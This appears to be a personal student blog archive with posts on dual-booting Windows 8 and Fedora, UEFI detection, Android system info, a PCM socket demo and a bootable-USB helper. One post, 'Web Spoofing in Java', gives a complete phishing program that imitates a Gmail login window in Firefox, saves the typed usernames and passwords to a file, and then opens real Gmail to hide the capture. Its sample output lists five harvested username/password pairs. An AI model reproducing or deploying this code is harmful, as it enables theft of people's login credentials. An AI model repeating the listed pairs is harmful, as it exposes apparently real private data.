Thursday, 4 December 2014

Make Windows 8 dual boot when Pre-installed.

Its my personal experience with dual booting windows 8 and fedora 20.

I have Lenovo G50-70, it came with windows 8.1 preinstalled and had secure boot and uefi boot enabled by default as it comes in all other latest notebooks.

Now, how i started the process and what problems i have faced till now:


We first need to know with what type of motherboard options we are dealing with. Open a terminal (By going to the start menu and typing powershell for example) and run the terminal as an Administrator (Right Click the app that will show in the start menu and select Run as Administrator). Now type Confirm-SecureBootUEFI. This can give you 3 results:
True - Means your system has Secure boot and is Enabled
False - Means your system has Secure boot and is Disabled
Cmdlet not supported on this platform - Means your system does not support Secure boot and most likely you do not need this guide. You can install Linux Versions by simply inserting the LiveCD or LiveUSB and doing the installation procedure without any problems.

If you have it Enabled and have the necessary partitioning done then we can proceed with this guide. After booting into Windows 8 we go to the power off options and while holding the SHIFT key, click on Restart.

Windows 8 will show you a new restart window:

When you get the menu above, select Troubleshoot
You will then get the following options:


 Select UEFI Firmware Settings

The system will reboot and you will be allowed to go to the BIOS (If not press the appropriate key, some common are DEL,F2 or F10).

Every BIOS is different, my looks like following picture:



In this part I can't help much since each BIOS is different for each Motherboard model. There are 2 options you can take here, both of which are optional since Fedora might install without any problems at all. You can either look for an option to disable Secure Boot or an option to disable UEFI. In some cases you will be able to find both, it will show in the BIOS as an option called Secure Boot or Enable UEFI
  1. I never took a backup of preinstalled windows 8 .
  2. I forgot to disable secureboot from BIOS options, but it didnt made any difference for me cuz i dont want to alter windows partitions.
  3. I shrank my 1TB HDD, 920GB available to C:\ partiton to 445GB. And now my C:\ is about 445.23GB something... Rest is further broke in two partitions as 300GB for data partition as i plan it to use as windows spare partition for keeping my data and rest of space I left unallocated for linux.
  4. I made the usb bootable for fedora 20 -64bit with PowerISO , as i have used it from many years and i am happy with it.
  5. Ok, now i rebooted my notebook with UEFI disabled and secure boot enabled to install fedora from live usb installer. I pressed F9 to select usb to start with, and i was presented with a menu like:
 - Windows Boot Loader
 - Fedora Live Installer [EFI]  //i dont remember the exact text
 - Boot from EFI file

  1. I selected Fedora EFI installer and presented with a fedora efi boot menu
  2. I selected Fedora Live Installer
  3. It showed the fedora logo starting up and booting, but i felt like it was stuck, i pressed down key and see the that booting was hung at: Reached Target System. And after a short while it dropped to dracut emergency shell.
  4. Its OK... i thought may its secure boot's fault, so i disabled secure boot and restarted the notebook . its power on now and asked to confirm that i really want to disable secure boot by pressing a series of numbers followed by enter key like 9521+ENTER, so i did it... and it continued. But as the fedora started to boot it came to the same position as it was with sec boot enabled, now thats a big disappointment!!
  5. Lastly i completely disabled EFI and went to back Legacy Mode, thanks to Lenovo they gave that option and a Recovery Option (for Factory Restore) available in bios...
  6. I booted with fedora installer n got a working live fedora session, and to check little things i decied to run live session rather than direct install it!
  7. Now i got satisfied with full working and snappy response of fedora, i started the installer and began installation
  8. Selected custom parttion, by granting auto partitioning on the free space left on hdd that was 200GB, installer suggested /home of 145GB, /boot 500MB, / 35GB and swap of 8GB. After a little consideration i continued the installer, and the installation started.
  9. I was amazed to see installation speed, it completed in 2 minutes and almost 35 seconds!! Like WOW! then restarted the machine n i got the ugly grub menu to boot into fedora...
Fedora started good in time and everything was awesome!


Then the magic happened:
  1. I enabled UEFI and Secure Boot from BIOS
  2. Rebooted the machine
  3. Booted in windows 8! Hahahahahahahahahha :P WTF!! (I tried almost everything to start it!)
  4. Checked windows, checked all apps and drivers .( OKAY its fine!!)
  5. Rebooted to select boot partition.
  6. And this is what i want, got a boot menu with entries like:
 
 - Fedora 20 [HDD SERIAL NUMBER]
 - Fedora Live Rescue Mode
 - Windows Boot Loader

Booted in fedora, and all is good now! :D

Friday, 26 September 2014

Web Spoofing in Java

 /*Download the Below image (abc5.png) and enter valid path. Output is Saved in Output.txt file (on specified Path)*/


import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.io.FileWriter;
import java.io.IOException;

import javax.swing.*;



public class Spooftest {

    public static JFrame f1;
    public static Container c;
    public static JTextField us,add;
    public static JLabel login;
    public static JLabel gmail,redi;
    public static Font font;
    public static ImageIcon img;
    public static String u,pa;
    public static BufferedWriter writer;
    public static JPasswordField pass;
   
    public static Dimension d = Toolkit.getDefaultToolkit().getScreenSize();
   
    public Spooftest() {
        f1=new JFrame();
        font=new Font("Calibri",Font.PLAIN,15);
        f1.setContentPane(new JLabel(new ImageIcon("/home/apcoer/Pictures/abc5.png")));
        f1.setLayout(null);
       
        img=new ImageIcon("");
        c=f1.getContentPane();
        us=new JTextField();
        pass=new JPasswordField();
        add=new JTextField();
        login=new JLabel();
        gmail=new JLabel("Gmail - Mozilla Firefox");
       
        redi=new JLabel(img);
       
        us.setBorder(javax.swing.BorderFactory.createEmptyBorder());
        pass.setBorder(javax.swing.BorderFactory.createEmptyBorder());
        add.setBorder(javax.swing.BorderFactory.createEmptyBorder());

           
        us.setFont(font);
        pass.setFont(font);
        f1.setTitle("Gmail - Mozilla Firefox");
        redi.setBounds((int) (d.width/4), d.height/10, (int) (d.width/1.71),(int) (d.height/0.96));
        gmail.setBounds(700,5,300,30);
        f1.setBounds(0, 0, d.width, d.height);
        us.setBounds((int) (d.width/2.134), (int) (redi.getY()/0.168)-80, 170, 30);
        pass.setBounds((int) (d.width/2.134), (int) (d.height/1.505)-100, 170, 40);
        login.setBounds(656, 548, 275, 50);
        add.setBounds(73, 70, 1040, 25);
        add.setText("http://");
       
        redi.setIcon(img);
        login.setOpaque(false);
       
       
        c.add(us);
        c.add(pass);
        c.add(login);
        c.add(add);
       
        c.add(redi);
       
       
           f1.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 
       
        f1.setVisible(true);

        add.setText("http://mail.google.com");
               
                us.setVisible(true);
                pass.setVisible(true);
                login.setVisible(true);
                redi.setVisible(true);
   
login.addMouseListener(new MouseListener() {
   
    @Override
    public void mouseReleased(MouseEvent e) {
        String[] param = {"/usr/bin/firefox","mail.google.com"};//Open the gamil.com in browser
        Runtime r = Runtime.getRuntime();
        Process p = null;
        try
        {
        p = r.exec(param);
        }
        catch(Exception e1)
        {
        System.out.println("Error executing " + e);
        }
        u=us.getText();
        pa=pass.getText();
        System.out.println("data::"+u);
   
       
        try {
            String str="   ";
            writer = new BufferedWriter(new FileWriter("/home/apcoer/Desktop/output.txt",true));
            writer.newLine();
            writer.append(u+str);
            writer.append(pa);
           
        } catch (IOException e1) {
            System.err.println(e);
        } finally {
           
            if (writer != null) {
               
                try {

                    writer.close();
                } catch (IOException e1) {
                    System.err.println(e);
                }
            }
        }
       
    }
   
    @Override
    public void mousePressed(MouseEvent e) {}
   
    @Override
    public void mouseExited(MouseEvent e) {    }
   
    @Override
    public void mouseEntered(MouseEvent e) {}
   
    @Override
    public void mouseClicked(MouseEvent e) {}
});
       
                       
    }
   
    public static void main(String[] args)
    {
        Spooftest s=new Spooftest();

    }
}


/////////////////abc5.png////////////////////////







           ********************SampleOutput*********************


**********************Output.txt*****************************

pb98040       asdfghjk
hsb9595       comp321
yogeshdh99    apcoer123
arvind333    kejriwal
ganesh111    ~!ganuraj

Thursday, 18 September 2014

Testing if PC is booted from UEFI or BIOS

#include <iostream>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdlib.h>
using namespace std;

class myInodeInfo
{
struct stat s;
int st;
public:

myInodeInfo(const char * f)
{
    st = stat(f,&s);
}
void display()
{

        mode_t m=s.st_mode;
       
        if(S_ISDIR(m))
            cout<<"\nSystem booted from UEFI"<<endl;
       
        else cout<<"\nSystem not booted from UEFI"<<endl;
}

void display1()
{
    int i=system("dmesg | grep 'EFI v'");
    if(i == 0)
    {
        cout<<"\nSystem booted from UEFI"<<endl;

    }
    else{
        cout<<"\nSystem booted from BIOS"<<endl;
}

}
};

int main() {

    char file[20]="/sys/firmware/efi";
   
    myInodeInfo obj= myInodeInfo(file);
    int ch=0;
    while(ch!=3)
    {
    cout<<"\n\nEnter choice: \n1. To check UEFI directory or BIOS.\n2.To check system log for UEFI or BIOS.\n3.Exit"<<endl;
    cin>>ch;
   
        switch(ch)
        {
       
            case 1:
                obj.display();
                break;
   
            case 2:
                obj.display1();
                break;

            case 3:
                //exit(0);
                break;
        }
    }
    return 0;
}



/*++++++++++++++++++++++OUTPUT++++++++++++++++++++

[root@localhost Documents]# g++ bootosd.cpp
[root@localhost Documents]# ./a.out


Enter choice:
1. To check UEFI directory or BIOS.
2.To check system log for UEFI or BIOS.
3.Exit
1

System not booted from UEFI


Enter choice:
1. To check UEFI directory or BIOS.
2.To check system log for UEFI or BIOS.
3.Exit
2

System booted from BIOS


Enter choice:
1. To check UEFI directory or BIOS.
2.To check system log for UEFI or BIOS.
3.Exit
3
[root@localhost Documents]#
++++++++++++++++++++++++++++++++++++++++++++++++ */

Monday, 15 September 2014

Code to verify the operating system name and version of Mobile devices.

package com.mycompany.myapp;

import android.app.Activity;
import android.os.Bundle;
import android.widget.TextView;
public class MainActivity extends Activity {
    @Override
    public void onCreate(Bundle savedlnstanceState) {
        super.onCreate(savedlnstanceState);
        TextView text = new TextView(this);
        text.setText("\nAll System information:"+
         "\nOperating system version:"+System.getProperty("os.version") +
           "\nOperating system Name:"+System.getProperty("os.name")+
            "\nOperating system architecture:"+System.getProperty("os.arch") +
            "\nManufacturer:" + android.os.Build.MANUFACTURER +
            "\nBoard:" + android.os.Build.BOARD +
            "\nDisplay:" + android.os.Build.DISPLAY+
            "\nBrand:" + android.os.Build.BRAND+
            "\nCPU_ABI:" + android.os.Build.CPU_ABI+
            "\nDevice:" + android.os.Build.DEVICE+
            "\nHost:" + android.os.Build.HOST+
            "\nModel:" + android.os.Build.MODEL+
            //"\nProduct:" + android.os.Build.PR0DUCT +
            "\nType:" + android.os.Build.TYPE+
            "\nUsers:" + android.os.Build.USER);
        setContentView(text);
    }
}

Friday, 12 September 2014

Pulse Code Modulation in java

-------------------Server-----------------------------
import java.net.*;
import java.io.*;
import javax.swing.*;
import java.awt.FlowLayout;
import java.sql.*;

public class Server
{
private ServerSocket serverSocket;
Server(int port)
{
try{
serverSocket=new ServerSocket(port);
System.out.println("Server waiting"+serverSocket.getLocalPort());
while(true)
{
Socket socket=serverSocket.accept();
System.out.println("client requested for conn");
TcpThread t=new TcpThread(socket);
System.out.println("starting thred");
t.start();
}
}catch(IOException e)
{
System.out.println("Exception on new ServerSocket:"+e);
}
}
public static void main(String a[])
{
new Server(8080);
}

class TcpThread extends Thread
{
Socket socket;
ObjectInputStream Sinput;
ObjectOutputStream Soutput;
String str;
TcpThread(Socket socket)
{this.socket=socket;}
public void run()
{
System.out.println("Creating object i/o Streams");
try{
Soutput=new ObjectOutputStream(socket.getOutputStream());
Soutput.flush();
Sinput= new ObjectInputStream(socket.getInputStream());
}catch(IOException e)
{System.out.println("Exception creating new i/o stream"+e);
return;
}
System.out.println("Thread waiting for a String from client");
try{
String str=(String)Sinput.readObject();

System.out.println("Client Sent: "+str);

str="OK";

Soutput.writeObject(str);

Soutput.flush();

}
catch(Exception e2)
{System.out.println("Exception reading/wr Streams:"+e2);
return;
}
finally{
try{

Soutput.close();
Sinput.close();
}catch(Exception e)
{}
}
}
}
}

---------------------Client---------------------------------


import java.net.*;
import java.io.*;
import javax.swing.*;
import static java.lang.Math.pow;
import java.util.*;

public class Client
{
ObjectInputStream Sinput;
ObjectOutputStream Soutput;
Socket socket;
int st=0,port;
String response;

Client(int port1)
{
port=port1;
}

void send(String s)
{
try{
socket=new Socket("localhost",port);
//socket=new Socket("192.168.1.140",port);
//socket=new Socket("localhost",port);
}catch(Exception e)
{JOptionPane.showMessageDialog(null,"Error in connecting to the server"+e);
return;
}
System.out.println("Conn Accepted"+socket.getInetAddress()+":"+socket.getPort());
try
{
Sinput=new ObjectInputStream(socket.getInputStream());
Soutput=new ObjectOutputStream(socket.getOutputStream());
}catch(IOException e)
{System.out.println("Exception creating new i/o stream"+e);
return;
}

System.out.println("Client sending '"+s+"' to server");
try
{
Soutput.writeObject(s);
Soutput.flush();
}
catch(IOException e)
{System.out.println("Error writing to socket:"+e);
return;
}

try{
Sinput.close();
Soutput.close();
}catch(Exception e)
{}
}

String myPCM()
{
 double axis_x[]=new double[512];
    long tmp[]=new long[512];
    int ampl;
    Scanner s= new Scanner(System.in);
    System.out.println("Enter amplitude:");
    ampl= s.nextInt();
 
    double f;

  
    int t=0,T;
    System.out.println("Enter time:");
    T= s.nextInt();
    f=1.0/T;
    for(t=0;t<=T;t++)
    {
        axis_x[t] = ampl * Math.sin(2 * (22.0/7) * f * t);
        System.out.println(axis_x[t]+"  ");
    }
    

    int b,size,m;
   System.out.println("Enter How many bits for Quantization :");
    b= s.nextInt();
    m=(int)Math.pow(2,b-1);
    size=ampl/m;
 
    int p,n,k;
    for(t=0;t<=T;t++)
    {
                    if(axis_x[t]>=0){
                    p=0;n=size;
                    for(k=0;k<m;k++)
                    {
                     if(axis_x[t]>=p && axis_x[t]<=n)
                     {
                             tmp[t]=k+m;
                break;               
                     } 
            p=n;
                    n=n+size;        
                    }
                 
                    }
                    else
                    {
                        p=-1;n=-size;
                    for(k=0;k<m;k++)
                    {
                     if(axis_x[t]<=p && axis_x[t]>=n)
                     {
                             tmp[t]=m-k-1;
                break;               
                     }
                p=n;
                    n=n-size;         
                    }
                 
                    }
    System.out.print(" "+tmp[t]);

    }
 
    System.out.print("\n\n");
    String data="";
    long i,rem,sum=0;
    int j=0;
    for(j=0;j<=T;j++)
    {
        i=1;    sum=0;
        do
        {
            rem=(long) tmp[j]%2;
            sum=sum + (i*rem);
            tmp[j]=tmp[j]/2;
            i=i*10;
        }while(tmp[j]>0);
        System.out.print(" "+sum);
    data=data+sum;

    }
  
        System.out.println("\n\nData to be sent is:"+data);
    System.out.print("\n");
    return data;
}




public static void main(String a[])
{
   
    Client a1=new Client(8080);
    String s1=a1.myPCM();
    a1.send(s1);

}
}

------------Client Output-----------------


[root@localhost apcoer]# javac Client.java
[root@localhost apcoer]# java Client
Enter amplitude:
10
Enter time:
4
0.0 
9.999998001333681 
-0.0126448893037729 
-9.999982012007937 
0.02528975838921635 
Enter How many bits for Quantization :
2
 2 3 0 0 2

 10 11 0 0 10

Data to be sent is:10110010

Conn Acceptedlocalhost/127.0.0.1:8080
Client sending '10110010' to server
[root@localhost apcoer]#

----------------Server Output-----------------

[root@localhost apcoer]# java Server
Server waiting8080
client requested for conn
starting thred
Creating object i/o Streams
Thread waiting for a String from client
Client Sent: 10110010

Making a bootable USB comand line fedora linux

#include<iostream> //Please remove comments within cases when making a bootable device
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <string.h>

using namespace std;
int main()
{
int ch;
     char dev[100]="";
     char boot[100]="sudo dd if=";
     char boot1[100]=" of=";
     char unmnt[100] ="umount ";
     char iso[100] ="";
        char tmp[100]="";

    cout<<"\n\n";
    system("mount | grep /dev/sd");
    cout<<"\n\nEnter the device to be made bootable: ";
    cin>>dev;

   
    cout<<"Enter the iso file path to be used: ";
    cin>>iso;
   
    cout<<"Select option \n 1. Make Bootable without format \n 2. Format using fat File System & (Burn)Make Bootable \n 3. Format using ext4 File System & (Burn)Make Bootable \n 4. Format using msdos File System & (Burn)Make Bootable \n 5.Exit \n";
    cin>>ch;
   
    switch(ch)
    {
    case 1:
        cout<<"\nCopying bootable files on device.....\n";
       
        strcat(boot,iso);
        strcat(boot,boot1);
        strcat(boot,dev);
        cout<<boot<<"\n";
         //system(boot);
            break;
    case 2:
        cout<<"Unmounting your device...";
        strcat(unmnt,dev);
        cout<<unmnt;

        system(unmnt);
        cout<<"\nFormatting your USB Device....";
        cout<<"sudo mkfs.vfat "<<dev;
        strcat(tmp,"sudo mkfs.vfat ");
        strcat(tmp,dev);
        cout<<tmp;

        //system(tmp);
        cout<<"\nCopying bootable files on device.....";
        strcat(boot,iso);
        strcat(boot,boot1);
        strcat(boot,dev);
        cout<<boot<<"\n";

        // system(boot);
            break;
   
    case 3:
        cout<<"Unmounting your device...";
        strcat(unmnt,dev);cout<<unmnt;

        //system(unmnt);
        cout<<"\nFormatting your USB Device....";
        cout<<"sudo mkfs.ext4 "<<dev;

        strcat(tmp,"sudo mkfs.ext4 ");
        strcat(tmp,dev);
        cout<<tmp;

        //system(tmp);
        cout<<"\nCopying bootable files on device.....";
        strcat(boot,iso);
        strcat(boot,boot1);
        strcat(boot,dev);
        cout<<boot<<"\n";
   
         //system(boot);
            break;
    case 4:
        cout<<"Unmounting your device...";
        strcat(unmnt,dev);cout<<unmnt;

        //system(unmnt);
        cout<<"\nFormatting your USB Device....";
        cout<<"sudo mkfs.msdos "<<dev;
       
        strcat(tmp,"sudo mkfs.msdos ");
        strcat(tmp,dev);
        cout<<tmp;

        //system(tmp);
        cout<<"\nCopying bootable files on device.....";
        strcat(boot,iso);
        strcat(boot,boot1);
        strcat(boot,dev);
        cout<<boot<<"\n";

         //system(boot);
            break;
    case 5:
        exit(0);
        break;
    }


  return 0;
  }

/*this is the original linux command .Giving incorrect device names may currupt your system

[root] # mkfs.vfat /dev/sdc1
[root] # dd if=Fedora-Live-Desktop-x86_64-20-1.iso of=/dev/sdb
*/



/*--------------------OUTPUT------------------------------------
[root@localhost apcoer]# g++ bootable.cpp
[root@localhost apcoer]# ./a.out


/dev/sda1 on /boot type ext4 (rw,relatime,seclabel,data=ordered)
/dev/sdb1 on /run/media/apcoer/Fedora-Live-Desktop-x86_64-20-1 type iso9660 (ro,nosuid,nodev,relatime,uid=1000,gid=1000,iocharset=utf8,mode=0400,dmode=0500,uhelper=udisks2)


Enter the device to be made bootable: /dev/sdb1
Enter the iso file path to be used: /home/apcoer/Pictures/Fedora-20Live-Desk.iso
Select option
 1. Make Bootable without format
 2. Format using fat File System & (Burn)Make Bootable
 3. Format using ext4 File System & (Burn)Make Bootable
 4. Format using msdos File System & (Burn)Make Bootable
 5.Exit
3
Unmounting your device...umount /dev/sdb1
mke2fs 1.42.7 (21-Jan-2013)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
61056 inodes, 243968 blocks
12198 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=251658240
8 block groups
32768 blocks per group, 32768 fragments per group
7632 inodes per group
Superblock backups stored on blocks:
    32768, 98304, 163840, 229376

Allocating group tables: done                           
Writing inode tables: done                           
Creating journal (4096 blocks): done
Writing superblocks and filesystem accounting information: done

Formatting your USB Device....sudo mkfs.ext4 /dev/sdb1sudo mkfs.ext4 /dev/sdb1
Copying bootable files on device.....sudo dd if=/home/apcoer/Pictures/Fedora-20Live-Desk.iso of=/dev/sdb1
1951744+0 records in
1951744+0 records out
999292928 bytes (999 MB) copied, 399.875 s, 2.5 MB/s
[root@localhost apcoer]#


[root@localhost apcoer]# ./a.out


/dev/sda1 on /boot type ext4 (rw,relatime,seclabel,data=ordered)
/dev/sdb on /run/media/apcoer/SONY_8GR type vfat (rw,nosuid,nodev,relatime,uid=1000,gid=1000,fmask=0022,dmask=0077,codepage=437,iocharset=ascii,shortname=mixed,showexec,utf8,flush,errors=remount-ro,uhelper=udisks2)


Enter the device to be made bootable: /dev/sdb
Enter the iso file path to be used: /home/apcoer/Pictures/Fedora-20Live-Desk.iso        
Select option
 1. Make Bootable without format
 2. Format using fat File System & (Burn)Make Bootable
 3. Format using ext4 File System & (Burn)Make Bootable
 4. Format using msdos File System & (Burn)Make Bootable
 5.Exit
2
Unmounting your device...umount /dev/sdb
mkfs.fat 3.0.20 (12 Jun 2013)
mkfs.vfat: Device partition expected, not making filesystem on entire device '/dev/sdb' (use -I to override)
Formatting your USB Device....sudo mkfs.vfat /dev/sdbsudo mkfs.vfat /dev/sdb
Copying bootable files on device.....sudo dd if=/home/apcoer/Pictures/Fedora-20Live-Desk.iso of=/dev/sdb
Complete!
[root@localhost apcoer]#
*/